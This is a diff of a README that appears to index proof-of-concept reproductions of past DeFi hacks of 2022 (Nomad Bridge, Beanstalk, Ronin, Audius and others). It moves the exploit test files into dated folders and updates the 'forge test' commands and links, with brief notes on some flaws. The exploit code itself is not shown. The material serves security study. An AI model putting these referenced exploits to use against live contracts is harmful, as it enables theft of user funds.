./src/test/others/MulticallWithoutCheck_exp.sol -vvv +forge test --contracts ./src/test/2022-10/MulticallWithoutCheck_exp.sol -vvv ``` #### Contract -[MulticallWithoutCheck_exp.sol](../../src/test/others/MulticallWithoutCheck_exp.sol) +[MulticallWithoutCheck_exp.sol](../../src/test/2022-10/MulticallWithoutCheck_exp.sol) --- @@ -1035,12 +1035,12 @@ forge test --contracts ./src/test/others/MulticallWithoutCheck_exp.sol -vvv Testing ```sh -forge test --contracts ./src/test/others/OlympusDao.exp.sol -vvv +forge test --contracts ./src/test/2022-10/OlympusDao_exp.sol -vvv ``` #### Contract -[OlympusDao.exp.sol](../../src/test/others/OlympusDao.exp.sol) +[OlympusDao_exp.sol](../../src/test/2022-10/OlympusDao_exp.sol) #### Link reference @@ -1055,12 +1055,12 @@ https://twitter.com/peckshield/status/1583416829237526528 Testing ```sh -forge test --contracts ./src/test/others/HEALTH_exp.sol -vvv +forge test --contracts ./src/test/2022-10/HEALTH_exp.sol -vvv ``` #### Contract -[HEALTH_exp.sol](../../src/test/others/HEALTH_exp.sol) +[HEALTH_exp.sol](../../src/test/2022-10/HEALTH_exp.sol) #### Link reference @@ -1075,12 +1075,12 @@ https://twitter.com/BlockSecTeam/status/1583073442433495040 Testing ```sh -forge test --contracts ./src/test/others/BEGO_exp.sol -vvv +forge test --contracts ./src/test/2022-10/BEGO_exp.sol -vvv ``` #### Contract -[BEGO_exp.sol](../../src/test/others/BEGO_exp.sol) +[BEGO_exp.sol](../../src/test/2022-10/BEGO_exp.sol) #### Link reference @@ -1097,12 +1097,12 @@ https://twitter.com/peckshield/status/1582892058800685058 Testing ```sh -forge test --contracts ./src/test/others/HPAY_exp.sol -vvv +forge test --contracts ./src/test/2022-10/HPAY_exp.sol -vvv ``` #### Contract -[HPAY_exp.sol](../../src/test/others/HPAY_exp.sol) +[HPAY_exp.sol](../../src/test/2022-10/HPAY_exp.sol) #### Link reference @@ -1117,12 +1117,12 @@ https://twitter.com/Supremacy_CA/status/1582345448190140417 Testing ```sh -forge test --contracts ./src/test/others/PLTD_exp.sol -vvv +forge test --contracts ./src/test/2022-10/PLTD_exp.sol -vvv ``` #### Contract -[PLTD_exp.sol](../../src/test/others/PLTD_exp.sol) +[PLTD_exp.sol](../../src/test/2022-10/PLTD_exp.sol) #### Link reference @@ -1137,12 +1137,12 @@ https://twitter.com/BeosinAlert/status/1582181583343484928 Testing ```sh -forge test --contracts ./src/test/others/Uerii_exp.sol -vvv +forge test --contracts ./src/test/2022-10/Uerii_exp.sol -vvv ``` #### Contract -[Uerii_exp.sol](../../src/test/others/Uerii_exp.sol) +[Uerii_exp.sol](../../src/test/2022-10/Uerii_exp.sol) #### Link reference @@ -1157,12 +1157,12 @@ https://twitter.com/peckshield/status/1581988895142526976 Testing ```sh -forge test --contracts ./src/test/others/INUKO_exp.sol -vvv +forge test --contracts ./src/test/2022-10/INUKO_exp.sol -vvv ``` #### Contract -[INUKO_exp.sol](../../src/test/others/INUKO_exp.sol) +[INUKO_exp.sol](../../src/test/2022-10/INUKO_exp.sol) #### Link reference @@ -1177,12 +1177,12 @@ https://twitter.com/AnciliaInc/status/1587848874076430336 Testing ```sh - forge test --contracts ./src/test/others/EFLeverVault_exp.sol -vvv + forge test --contracts ./src/test/2022-10/EFLeverVault_exp.sol -vvv ``` #### Contract -[EFLeverVault_exp.sol](../../src/test/others/EFLeverVault_exp.sol) +[EFLeverVault_exp.sol](../../src/test/2022-10/EFLeverVault_exp.sol) #### Link reference @@ -1201,12 +1201,12 @@ https://twitter.com/danielvf/status/1580936010556661761 Testing ```sh -forge test --contracts ./src/test/others/MEVa47b_exp.sol -vvv +forge test --contracts ./src/test/2022-10/MEVa47b_exp.sol -vvv ``` ### Contract -[MEVa47b_exp.sol](../../src/test/others/MEVa47b_exp.sol) +[MEVa47b_exp.sol](../../src/test/2022-10/MEVa47b_exp.sol) #### Link reference @@ -1225,12 +1225,12 @@ https://etherscan.io/tx/0x35ecf595864400696853c53edf3e3d60096639b6071cadea6076c9 Testing ```sh -forge test --contracts ./src/test/others/ATK_exp.sol -vvv +forge test --contracts ./src/test/2022-10/ATK_exp.sol -vvv ``` #### Contract -[ATK_exp.sol](../../src/test/others/ATK_exp.sol) +[ATK_exp.sol](../../src/test/2022-10/ATK_exp.sol) #### Link reference @@ -1245,12 +1245,12 @@ https://twitter.com/BlockSecTeam/status/1580095325200474112 Testing ```sh -forge test --contracts ../../src/test/others/RabbyWallet_SwapRouter.exp.sol -vv +forge test --contracts ../../src/test/2022-10/RabbyWallet_SwapRouter_exp.sol -vv ``` #### Contract -[RabbyWallet_SwapRouter.exp.sol](../../src/test/others/RabbyWallet_SwapRouter.exp.sol) +[RabbyWallet_SwapRouter_exp.sol](../../src/test/2022-10/RabbyWallet_SwapRouter_exp.sol) #### Link reference @@ -1269,12 +1269,12 @@ https://twitter.com/BeosinAlert/status/1579856733178331139 Testing ```sh -forge test --contracts ../../src/test/others/Templedao_exp.sol -vv +forge test --contracts ../../src/test/2022-10/Templedao_exp.sol -vv ``` #### Contract -[Templedao_exp.sol](../../src/test/others/Templedao_exp.sol) +[Templedao_exp.sol](../../src/test/2022-10/Templedao_exp.sol) #### Link reference @@ -1291,12 +1291,12 @@ https://etherscan.io/tx/0x8c3f442fc6d640a6ff3ea0b12be64f1d4609ea94edd2966f42c01c Testing ```sh -forge test --contracts ../../src/test/others/Carrot_exp.sol -vv +forge test --contracts ../../src/test/2022-10/Carrot_exp.sol -vv ``` #### Contract -[Carrot_exp.sol](../../src/test/others/Carrot_exp.sol) +[Carrot_exp.sol](../../src/test/2022-10/Carrot_exp.sol) #### Link reference @@ -1313,12 +1313,12 @@ https://bscscan.com/tx/0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994 Testing ```sh -forge test --contracts ../../src/test/others/XaveFinance_exp.sol -vv +forge test --contracts ../../src/test/2022-10/XaveFinance_exp.sol -vv ``` #### Contract -[XaveFinance_exp.sol](../../src/test/others/XaveFinance_exp.sol) +[XaveFinance_exp.sol](../../src/test/2022-10/XaveFinance_exp.sol) #### Link reference @@ -1333,13 +1333,13 @@ https://etherscan.io/tx/0xc18ec2eb7d41638d9982281e766945d0428aaeda6211b4ccb6626e Testing ```sh -forge test --contracts ../../src/test/others/RES_exp.sol -vv +forge test --contracts ../../src/test/2022-10/RES_exp.sol -vv ``` #### Contract -[RES_exp.sol](../../src/test/others/RES_exp.sol) -[RES02_exp.sol](../../src/test/others/RES02_exp.sol) +[RES_exp.sol](../../src/test/2022-10/RES_exp.sol) +[RES_exp2.sol](../../src/test/2022-10/RES_exp2.sol) #### Link reference @@ -1356,12 +1356,12 @@ https://bscscan.com/tx/0xe59fa48212c4ee716c03e648e04f0ca390f4a4fc921a890fded0e01 Testing ```sh -forge test --contracts ../../src/test/others/TransitSwap_exp.sol -vv +forge test --contracts ../../src/test/2022-10/TransitSwap_exp.sol -vv ``` #### Contract -[TransitSwap_exp.sol](../../src/test/others/TransitSwap_exp.sol) +[TransitSwap_exp.sol](../../src/test/2022-10/TransitSwap_exp.sol) #### Link reference @@ -1378,12 +1378,12 @@ https://bscscan.com/tx/0x181a7882aac0eab1036eedba25bc95a16e10f61b5df2e99d240a16c Testing ```sh -forge test --contracts ./src/test/others/BabySwap_exp.sol -vvv +forge test --contracts ./src/test/2022-10/BabySwap_exp.sol -vvv ``` #### Contract -[BabySwap_exp.sol](../../src/test/others/BabySwap_exp.sol) +[BabySwap_exp.sol](../../src/test/2022-10/BabySwap_exp.sol) #### Link reference @@ -1396,12 +1396,12 @@ https://twitter.com/BlockSecTeam/status/1576441612812836865 Testing ```sh -forge test --contracts ../../src/test/others/RL_exp.sol -vv +forge test --contracts ../../src/test/2022-10/RL_exp.sol -vv ``` #### Contract -[RL_exp.sol](../../src/test/others/RL_exp.sol) +[RL_exp.sol](../../src/test/2022-10/RL_exp.sol) #### Link reference @@ -1414,12 +1414,12 @@ https://twitter.com/CertiKAlert/status/1576195971003858944 Testing ```sh -forge test --contracts ../../src/test/others/THB_exp.sol -vv +forge test --contracts ../../src/test/2022-09/THB_exp.sol -vv ``` #### Contract -[THB_exp.sol](../../src/test/others/THB_exp.sol) +[THB_exp.sol](../../src/test/2022-09/THB_exp.sol) #### Link reference @@ -1436,12 +1436,12 @@ https://bscscan.com/tx/0x57aa9c85e03eb25ac5d94f15f22b3ba3ab2ef60b603b97ae76f8550 Testing ```sh -forge test --contracts ../../src/test/others/BXH_exp.sol -vv +forge test --contracts ../../src/test/2022-09/BXH_exp.sol -vv ``` #### Contract -[BXH_exp.sol](../../src/test/others/BXH_exp.sol) +[BXH_exp.sol](../../src/test/2022-09/BXH_exp.sol) #### Link reference @@ -1460,12 +1460,12 @@ An anonymous attacker noticed a flaw in the bots arbitrage contract code, and st Testing ```sh -forge test --contracts ./src/test/others/MEVbadc0de_exp.sol -vvv +forge test --contracts ./src/test/2022-09/MEVbadc0de_exp.sol -vvv ``` #### Contract -[MEVbadc0de_exp.sol](../../src/test/others/MEVbadc0de_exp.sol) +[MEVbadc0de_exp.sol](../../src/test/2022-09/MEVbadc0de_exp.sol) #### Link reference @@ -1482,12 +1482,12 @@ https://etherscan.io/tx/0x59ddcf5ee5c687af2cbf291c3ac63bf28316a8ecbb621d9f62d07f Testing ```sh -forge test --contracts ./src/test/others/RADT_exp.sol -vvv +forge test --contracts ./src/test/2022-09/RADT_exp.sol -vvv ``` #### Contract -[RADT_exp.sol](../../src/test/others/RADT_exp.sol) +[RADT_exp.sol](../../src/test/2022-09/RADT_exp.sol) #### Link reference @@ -1504,12 +1504,12 @@ https://bscscan.com/tx/0xd692f71de2768017390395db815d34033013136c378177c05d0d46e Testing ```sh -forge test --contracts ./src/test/others/BNB48MEVBot_exp.sol -vvv +forge test --contracts ./src/test/2022-09/BNB48MEVBot_exp.sol -vvv ``` #### Contract -[BNB48MEVBot_exp.sol](../../src/test/others/BNB48MEVBot_exp.sol) +[BNB48MEVBot_exp.sol](../../src/test/2022-09/BNB48MEVBot_exp.sol) #### Link reference @@ -1528,12 +1528,12 @@ https://bscscan.com/tx/0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc9223 Testing ```sh -forge test --contracts ./src/test/others/DPC_exp.sol -vvv +forge test --contracts ./src/test/2022-09/DPC_exp.sol -vvv ``` #### Contract -[DPC_exp.sol](../../src/test/others/DPC_exp.sol) +[DPC_exp.sol](../../src/test/2022-09/DPC_exp.sol) #### Link reference @@ -1552,12 +1552,12 @@ https://learnblockchain.cn/article/4733 Testing ```sh -forge test --contracts ./src/test/others/Yyds_exp.sol -vvv +forge test --contracts ./src/test/2022-09/Yyds_exp.sol -vvv ``` #### Contract -[Yyds_exp.sol](../../src/test/others/Yyds_exp.sol) +[Yyds_exp.sol](../../src/test/2022-09/Yyds_exp.sol) #### Link reference @@ -1574,12 +1574,12 @@ https://bscscan.com/tx/0x04a1f0d1694242515ecb14faa71053901f11a1286cd21c27fe5542f Testing ```sh -forge test --contracts ./src/test/others/ROI_exp.sol -vvv +forge test --contracts ./src/test/2022-09/ROI_exp.sol -vvv ``` #### Contract -[ROI_exp.sol](../../src/test/others/ROI_exp.sol) +[ROI_exp.sol](../../src/test/2022-09/ROI_exp.sol) #### Link reference @@ -1600,12 +1600,12 @@ https://medium.com/quillhash/decoding-ragnarok-online-invasion-44k-exploit-quill Testing ```sh -forge test --contracts ./src/test/others/NewFreeDAO_exp.sol -vvv +forge test --contracts ./src/test/2022-09/NewFreeDAO_exp.sol -vvv ``` #### Contract -[NewFreeDAO_exp.sol](../../src/test/others/NewFreeDAO_exp.sol) +[NewFreeDAO_exp.sol](../../src/test/2022-09/NewFreeDAO_exp.sol) #### Link reference @@ -1622,12 +1622,12 @@ https://bscscan.com/tx/0x1fea385acf7ff046d928d4041db017e1d7ead66727ce7aacb3296b9 Testing ```sh -forge test --contracts ./src/test/others/NXUSD_exp.sol -vvv +forge test --contracts ./src/test/2022-09/NXUSD_exp.sol -vvv ``` #### Contract -[NXUSD_exp.sol](../../src/test/others/NXUSD_exp.sol) +[NXUSD_exp.sol](../../src/test/2022-09/NXUSD_exp.sol) #### Link reference @@ -1644,12 +1644,12 @@ https://snowtrace.io/tx/0x0ab12913f9232b27b0664cd2d50e482ad6aa896aeb811b53081712 Testing ```sh -forge test --contracts ./src/test/others/ZoomproFinance_exp.sol -vvv +forge test --contracts ./src/test/2022-09/ZoomproFinance_exp.sol -vvv ``` #### Contract -[ZoomproFinance_exp.sol](../../src/test/others/ZoomproFinance_exp.sol) +[ZoomproFinance_exp.sol](../../src/test/2022-09/ZoomproFinance_exp.sol) #### Link reference @@ -1668,12 +1668,12 @@ Anyone can burn $SDF Testing ```sh -forge test --contracts ./src/test/others/Shadowfi_exp.sol -vvv +forge test --contracts ./src/test/2022-09/Shadowfi_exp.sol -vvv ``` #### Contract -[Shadowfi_exp.sol](../../src/test/others/Shadowfi_exp.sol) +[Shadowfi_exp.sol](../../src/test/2022-09/Shadowfi_exp.sol) #### Link reference @@ -1690,12 +1690,12 @@ https://bscscan.com/tx/0xe30dc75253eecec3377e03c532aa41bae1c26909bc8618f21fb83d4 Testing ```sh -forge test --contracts ./src/test/others/BadGuysbyRPF_exp.sol -vvv +forge test --contracts ./src/test/2022-09/BadGuysbyRPF_exp.sol -vvv ``` #### Contract -[BadGuysbyRPF_exp.sol](../../src/test/others/BadGuysbyRPF_exp.sol) +[BadGuysbyRPF_exp.sol](../../src/test/2022-09/BadGuysbyRPF_exp.sol) #### Link reference @@ -1710,13 +1710,12 @@ https://etherscan.io/tx/0x27e64a8215ae1528245c912bcca09883fdd7cce69249bd5d5d1c0e Testing ```sh -forge test --contracts ./src/test/others/LuckyTiger_exp -vvv -forge script script/LuckyTiger_s_exp.sol:luckyHack --fork-url http://127.0.0.1:8545 --private-key $PRIVATE_KEY --broadcast +forge test --contracts ./src/test/2022-08/LuckyTiger_exp.sol -vvv ``` #### Contract -[LuckyTiger_exp.sol](../../src/test/others/LuckyTiger_exp.sol) | [LuckyTiger_s_exp.sol](/script/LuckyTiger_s_exp.sol) +[LuckyTiger_exp.sol](../../src/test/2022-08/LuckyTiger_exp.sol) #### Link reference @@ -1731,13 +1730,13 @@ https://etherscan.io/tx/0x804ff3801542bff435a5d733f4d8a93a535d73d0de0f843fd97975 Testing ```sh -forge test --contracts ./src/test/others/XST.exp.sol -vvv +forge test --contracts ./src/test/2022-08/XST_exp.sol -vvv ``` #### Contract -[XST.exp.sol](../../src/test/others/XST.exp.sol) -[XST02_exp.sol](../../src/test/others/XST02_exp.sol) +[XST.exp.sol](../../src/test/2022-08/XST_exp.sol) +[XST02_exp.sol](../../src/test/2022-08/XST_exp2.sol) #### Link reference @@ -1750,12 +1749,12 @@ https://mobile.twitter.com/BlockSecTeam/status/1557195012042936320 Testing ```sh -forge test --contracts ./src/test/others/ANCH_exp.sol -vvv +forge test --contracts ./src/test/2022-08/ANCH_exp.sol -vvv ``` #### Contract -[ANCH_exp.sol](../../src/test/others/ANCH_exp.sol) +[ANCH_exp.sol](../../src/test/2022-08/ANCH_exp.sol) #### Link reference @@ -1770,12 +1769,12 @@ https://twitter.com/AnciliaInc/status/1557527183966408706 Testing ```sh -forge test --contracts ./src/test/others/EGD-Finance.exp.sol -vvv +forge test --contracts ./src/test/2022-08/EGD_Finance_exp.sol -vvv ``` #### Contract -[EGD-Finance.exp.sol](../../src/test/others/EGD-Finance.exp.sol) +[EGD_Finance_exp.sol](../../src/test/2022-08/EGD_Finance_exp.sol) #### Link reference @@ -1792,12 +1791,12 @@ https://twitter.com/PeckShieldAlert/status/1556486817406283776 Testing ```sh -forge test --contracts ./src/test/others/NomadBridge.exp.sol -vvv +forge test --contracts ./src/test/2022-08/NomadBridge_exp.sol -vvv ``` #### Contract -[NomadBridge.exp.sol](../../src/test/others/NomadBridge.exp.sol) +[NomadBridge_exp.sol](../../src/test/2022-08/NomadBridge_exp.sol) #### Link reference @@ -1816,12 +1815,12 @@ https://blog.coinbase.com/nomad-bridge-incident-analysis-899b425b0f34 Testing ```sh -forge test --contracts ./src/test/others/ReaperFarm.exp.sol -vvv +forge test --contracts ./src/test/2022-08/ReaperFarm_exp.sol -vvv ``` #### Contract -[ReaperFarm.exp.sol](../../src/test/others/ReaperFarm.exp.sol) +[ReaperFarm_exp.sol](../../src/test/2022-08/ReaperFarm_exp.sol) #### Link reference @@ -1838,12 +1837,12 @@ https://twitter.com/BeosinAlert/status/1554476940593340421 Testing ```sh -forge test --contracts ./src/test/others/LPC.exp.sol -vvv +forge test --contracts ./src/test/2022-07/LPC_exp.sol -vvv ``` #### Contract -[LPC.exp.sol](../../src/test/others/LPC.exp.sol) +[LPC_exp.sol](../../src/test/2022-07/LPC_exp.sol) #### Link reference @@ -1860,12 +1859,12 @@ https://twitter.com/BeosinAlert/status/1551535854681718784 Testing ```sh -forge test --contracts ./src/test/others/Audius.exp.sol -vvv +forge test --contracts ./src/test/2022-07/Audius_exp.sol -vvv ``` #### Contract -[Audius.exp.sol](../../src/test/others/Audius.exp.sol) +[Audius_exp.sol](../../src/test/2022-07/Audius_exp.sol) #### Link reference @@ -1884,12 +1883,12 @@ https://blog.audius.co/article/audius-governance-takeover-post-mortem-7-23-22 Testing ```sh -forge test --contracts ./src/test/others/SpaceGodzilla.exp.sol -vvv +forge test --contracts ./src/test/2022-07/SpaceGodzilla_exp.sol -vvv ``` #### Contract -[SpaceGodzilla.exp.sol](../../src/test/others/SpaceGodzilla.exp.sol) +[SpaceGodzilla_exp.sol](../../src/test/2022-07/SpaceGodzilla_exp.sol) #### Link reference @@ -1910,12 +1909,12 @@ https://learnblockchain.cn/article/4395 \*\*\* math behind such attack Testing ```sh -forge test --contracts ./src/test/others/Omni_exp.sol -vv +forge test --contracts ./src/test/2022-07/Omni_exp.sol -vv ``` #### Contract -[Omni_exp.sol](../../src/test/others/Omni_exp.sol) +[Omni_exp.sol](../../src/test/2022-07/Omni_exp.sol) #### Link reference @@ -1932,12 +1931,12 @@ The ownerWithdrawAllTo() without onlyOwner can call it. Testing ```sh -forge test --contracts ./src/test/others/FlippazOne.sol -vvvv +forge test --contracts ./src/test/2022-07/FlippazOne.sol -vvvv ``` #### Contract -[FlippazOne.sol](../../src/test/others/FlippazOne.sol) +[FlippazOne_exp.sol](../../src/test/2022-07/FlippazOne_exp.sol) #### Link reference @@ -1958,12 +1957,12 @@ ECDSA signature combined with v r s, if recoveredAddress == sellOrder.seller; se Testing ```sh -forge test --contracts ./src/test/others/Quixotic_exp.sol -vv +forge test --contracts ./src/test/2022-07/Quixotic_exp.sol -vv ``` #### Contract -[Quixotic_exp.sol](../../src/test/others/Quixotic_exp.sol) +[Quixotic_exp.sol](../../src/test/2022-07/Quixotic_exp.sol) #### Link reference @@ -1982,12 +1981,12 @@ https://optimistic.etherscan.io/tx/0x5dc519726e1236eb846271f6699e03cdd1a8fd593a2 Testing ```sh -forge test --contracts ./src/test/others/XCarnival.exp.sol -vv +forge test --contracts ./src/test/2022-06/XCarnival_exp.sol -vv ``` #### Contract -[XCarnival.exp.sol](../../src/test/others/XCarnival.exp.sol) +[XCarnival_exp.sol](../../src/test/2022-06/XCarnival_exp.sol) #### Link reference @@ -2008,12 +2007,12 @@ Private key compromised case of Multisig wallet Testing ```sh -forge test --contracts ./src/test/others/Harmony_multisig.sol -vvvv +forge test --contracts ./src/test/2022-06/Harmony_multisig_exp.sol -vvvv ``` #### Contract -[Harmony_multisig.sol](../../src/test/others/Harmony_multisig.sol) +[Harmony_multisig_exp.sol](../../src/test/2022-06/Harmony_multisig_exp.sol) #### Link reference @@ -2034,12 +2033,12 @@ On `_spendAllowance` function they use `_getStandardAmount` and should be `_getR Testing ```sh -forge test --contracts ./src/test/others/Snood_poc.t.sol -vv +forge test --contracts ./src/test/2022-06/Snood_exp.sol -vv ``` #### Contract -[Snood_poc.t.sol](../../src/test/others/Snood_poc.t.sol) +[Snood_exp.sol](../../src/test/2022-06/Snood_exp.sol) #### Link reference @@ -2058,12 +2057,12 @@ https://ethtx.info/mainnet/0x9a6227ef97d7ce75732645bd604ef128bb5dfbc1bfbe0966ad1 Testing ```sh -forge test --contracts ./src/test/others/InverseFinance_exp.sol -vv +forge test --contracts ./src/test/2022-06/InverseFinance_exp.sol -vv ``` #### Contract -[InverseFinance_exp.sol](../../src/test/others/InverseFinance_exp.sol) +[InverseFinance_exp.sol](../../src/test/2022-06/InverseFinance_exp.sol) #### Link reference @@ -2086,12 +2085,12 @@ https://etherscan.io/tx/0x958236266991bc3fe3b77feaacea120f172c0708ad01c7a715b255 Testing ```sh -forge test --contracts ./src/test/others/Gym_2_exp.sol -vv +forge test --contracts ./src/test/2022-06/Gym_2_exp.sol -vv ``` #### Contract -[Gym_2_exp.sol](../../src/test/others/Gym_2_exp.sol) +[Gym_2_exp.sol](../../src/test/2022-06/Gym_2_exp.sol) #### Link reference @@ -2110,12 +2109,12 @@ https://www.jinse.com/news/blockchain/1658455.html Testing ```sh -forge test --contracts ./src/test/others/Optimism_exp.sol -vv +forge test --contracts ./src/test/2022-06/Optimism_exp.sol -vv ``` #### Contract -[Optimism_exp.sol](../../src/test/others/Optimism_exp.sol) +[Optimism_exp.sol](../../src/test/2022-06/Optimism_exp.sol) #### Link reference @@ -2134,12 +2133,12 @@ https://optimistic.etherscan.io/tx/0x00a3da68f0f6a69cb067f09c3f7e741a01636cbc27a Testing ```sh -forge test --contracts ./src/test/others/Discover_exp.sol -vv +forge test --contracts ./src/test/2022-06/Discover_exp.sol -vv ``` #### Contract -[Discover_exp.sol](../../src/test/others/Discover_exp.sol) +[Discover_exp.sol](../../src/test/2022-06/Discover_exp.sol) #### Link reference @@ -2160,12 +2159,12 @@ https://bscscan.com/tx/0x1dd4989052f69cd388f4dfbeb1690a3f3a323ebb73df816e5ef2466 Testing ```sh -forge test --contracts ./src/test/others/Novo_exp.sol -vvv +forge test --contracts ./src/test/2022-05/Novo_exp.sol -vvv ``` #### Contract -[Novo_exp.sol](../../src/test/others/Novo_exp.sol) +[Novo_exp.sol](../../src/test/2022-05/Novo_exp.sol) #### Link reference @@ -2182,12 +2181,12 @@ https://bscscan.com/address/0xa0787daad6062349f63b7c228cbfd5d8a3db08f1#code Testing ```sh -forge test --contracts ./src/test/others/HackDao_exp.sol -vvv +forge test --contracts ./src/test/2022-05/HackDao_exp.sol -vvv ``` #### Contract -[HackDao_exp.sol](../../src/test/others/HackDao_exp.sol) +[HackDao_exp.sol](../../src/test/2022-05/HackDao_exp.sol) ### Link reference @@ -2203,12 +2202,12 @@ buys vault token -> redeems NFTs -> claims airdrop of 60k APE -> re-supply's the Testing ```sh -forge test --contracts ./src/test/others/Bayc_apecoin_exp.sol -vvv +forge test --contracts ./src/test/2022-05/Bayc_apecoin_exp.sol -vvv ``` #### Contract -[Bayc_apecoin_exp.sol](../../src/test/others/Bayc_apecoin_exp.sol) +[Bayc_apecoin_exp.sol](../../src/test/2022-05/Bayc_apecoin_exp.sol) #### Link reference @@ -2230,7 +2229,7 @@ forge test --contracts ./src/test/2022-05/FortressLoans.exp.sol -vvv #### Contract -[FortressLoans.exp.sol](../../src/test/2022-05/FortressLoans.exp.sol) +[FortressLoans_exp.sol](../../src/test/2022-05/FortressLoans_exp.sol) #### Link reference @@ -2247,12 +2246,12 @@ https://www.certik.com/resources/blog/k6eZOpnK5Kdde7RfHBZgw-fortress-loans-explo Testing ```sh -forge test --contracts ./src/test/others/Saddle_exp.sol -vvv +forge test --contracts ./src/test/2022-04/Saddle_exp.sol -vvv ``` #### Contract -[Saddle_exp.sol](../../src/test/others/Saddle_exp.sol) +[Saddle_exp.sol](../../src/test/2022-04/Saddle_exp.sol) #### Link reference @@ -2269,12 +2268,12 @@ https://github.com/Hephyrius/Immuni-Saddle-POC Testing ```sh -forge test --contracts ./src/test/others/Rari_exp.t.sol -vv +forge test --contracts ./src/test/2022-04/Rari_exp.sol -vv ``` #### Contract -[Rari_exp.t.sol](../../src/test/others/Rari_exp.t.sol) +[Rari_exp.sol](../../src/test/2022-04/Rari_exp.sol) #### Link reference @@ -2293,12 +2292,12 @@ https://etherscan.io/tx/0xab486012f21be741c9e674ffda227e30518e8a1e37a5f1d58d0b0d Testing ```sh -forge test --contracts ./src/test/others/deus_exp.sol -vv +forge test --contracts ./src/test/2022-04/deus_exp.sol -vv ``` #### Contract -[deus_exp.sol](../../src/test/others/deus_exp.sol) +[deus_exp.sol](../../src/test/2022-04/deus_exp.sol) #### Link reference @@ -2315,13 +2314,13 @@ https://ftmscan.com/tx/0xe374495036fac18aa5b1a497a17e70f256c4d3d416dd1408c026f3f Testing ```sh -forge test --contracts ./src/test/others/Wdoge_exp.sol -vvv +forge test --contracts ./src/test/2022-04/Wdoge_exp.sol -vvv ``` #### Contract -[Wdoge_exp.sol](../../src/test/others/Wdoge_exp.sol) +[Wdoge_exp.sol](../../src/test/2022-04/Wdoge_exp.sol) #### Link reference @@ -2340,12 +2339,12 @@ https://bscscan.com/tx/0x4f2005e3815c15d1a9abd8588dd1464769a00414a6b7adcbfd75a53 Testing ```sh -forge test --contracts ./src/test/others/AkutarNFT_exp.sol -vv +forge test --contracts ./src/test/2022-04/AkutarNFT_exp.sol -vv ``` #### Contract -[AkutarNFT_exp.sol](../../src/test/others/AkutarNFT_exp.sol) +[AkutarNFT_exp.sol](../../src/test/2022-04/AkutarNFT_exp.sol) #### Link reference @@ -2362,12 +2361,12 @@ https://etherscan.io/address/0xf42c318dbfbaab0eee040279c6a2588fa01a961d#code Testing ```sh -forge test --contracts ./src/test/others/Zeed_exp.sol -vv +forge test --contracts ./src/test/2022-04/Zeed_exp.sol -vv ``` #### Contract -[Zeed_exp.sol](../../src/test/others/Zeed_exp.sol) +[Zeed_exp.sol](../../src/test/2022-04/Zeed_exp.sol) #### Link reference @@ -2386,12 +2385,12 @@ https://bscscan.com/tx/0x0507476234193a9a5c7ae2c47e4c4b833a7c3923cefc6fd7667b72f Testing ```sh -forge test --contracts ./src/test/others/Beanstalk_exp.sol -vv +forge test --contracts ./src/test/2022-04/Beanstalk_exp.sol -vv ``` #### Contract -[Beanstalk_exp.sol](../../src/test/others/Beanstalk_exp.sol) +[Beanstalk_exp.sol](../../src/test/2022-04/Beanstalk_exp.sol) #### Link reference @@ -2414,12 +2413,12 @@ https://etherscan.io/tx/0xcd314668aaa9bbfebaf1a0bd2b6553d01dd58899c508d4729fa731 Testing ```sh -forge test --contracts ./src/test/others/Rikkei_exp.sol -vv +forge test --contracts ./src/test/2022-04/Rikkei_exp.sol -vv ``` #### Contract -[Rikkei_exp.sol](../../src/test/others/Rikkei_exp.sol) +[Rikkei_exp.sol](../../src/test/2022-04/Rikkei_exp.sol) #### Link reference @@ -2440,12 +2439,12 @@ https://bscscan.com/tx/0x93a9b022df260f1953420cd3e18789e7d1e095459e36fe2eb534918 Testing ```sh -forge test --contracts ./src/test/others/Elephant_Money_poc.sol -vv +forge test --contracts ./src/test/2022-04/Elephant_Money_exp.sol -vv ``` #### Contract -[Elephant_Money_poc.sol](../../src/test/others/Elephant_Money_poc.sol) +[Elephant_Money_exp.sol](../../src/test/2022-04/Elephant_Money_exp.sol) #### Link reference @@ -2466,12 +2465,12 @@ https://bscscan.com/tx/0xec317deb2f3efdc1dbf7ed5d3902cdf2c33ae512151646383a8cf8c Testing ```sh -forge test --contracts ./src/test/others/cftoken_exp.sol -vv +forge test --contracts ./src/test/2022-04/cftoken_exp.sol -vv ``` #### Contract -[cftoken_exp.sol](../../src/test/others/cftoken_exp.sol) +[cftoken_exp.sol](../../src/test/2022-04/cftoken_exp.sol) #### Link reference @@ -2488,12 +2487,12 @@ https://bscscan.com/tx/0xc7647406542f8f2473a06fea142d223022370aa5722c044c2b7ea03 Testing ```sh -forge test --contracts ./src/test/others/Gym_1_exp.sol -vv +forge test --contracts ./src/test/2022-04/Gym_1_exp.sol -vv ``` #### Contract -[Gym_1_exp.sol](../../src/test/others/Gym_1_exp.sol) +[Gym_1_exp.sol](../../src/test/2022-04/Gym_1_exp.sol) #### Link reference @@ -2512,12 +2511,12 @@ https://bscscan.com/tx/0xa5b0246f2f8d238bb56c0ddb500b04bbe0c30db650e06a41e00b6a0 Testing ```sh -forge test --contracts ./src/test/others/Ronin_exp.sol -vv +forge test --contracts ./src/test/2022-03/Ronin_exp.sol -vv ``` #### Contract -[Ronin_exp.sol](../../src/test/others/Ronin_exp.sol) +[Ronin_exp.sol](../../src/test/2022-03/Ronin_exp.sol) #### Link reference @@ -2534,12 +2533,12 @@ https://etherscan.io/tx/0xed2c72ef1a552ddaec6dd1f5cddf0b59a8f37f82bdda5257d9c7c3 Testing ```sh -forge test --contracts ./src/test/others/RedactedCartel_exp.sol -vv +forge test --contracts ./src/test/2022-03/RedactedCartel_exp.sol -vv ``` #### Contract -[RedactedCartel_exp.sol](../../src/test/others/RedactedCartel_exp.sol) +[RedactedCartel_exp.sol](../../src/test/2022-03/RedactedCartel_exp.sol) #### Link reference @@ -2554,12 +2553,12 @@ https://medium.com/immunefi/redacted-cartel-custom-approval-logic-bugfix-review- Testing ```sh -forge test --contracts ./src/test/others/Revest_exp.sol -vv +forge test --contracts ./src/test/2022-03/Revest_exp.sol -vv ``` #### Contract -[Revest_exp.sol](../../src/test/others/Revest_exp.sol) +[Revest_exp.sol](../../src/test/2022-03/Revest_exp.sol) #### Link reference @@ -2576,12 +2575,12 @@ https://etherscan.io/tx/0xe0b0c2672b760bef4e2851e91c69c8c0ad135c6987bbf1f43f5846 Testing ```sh -forge test --contracts ./src/test/others/Auctus_exp.sol -vv +forge test --contracts ./src/test/2022-03/Auctus_exp.sol -vv ``` #### Contract 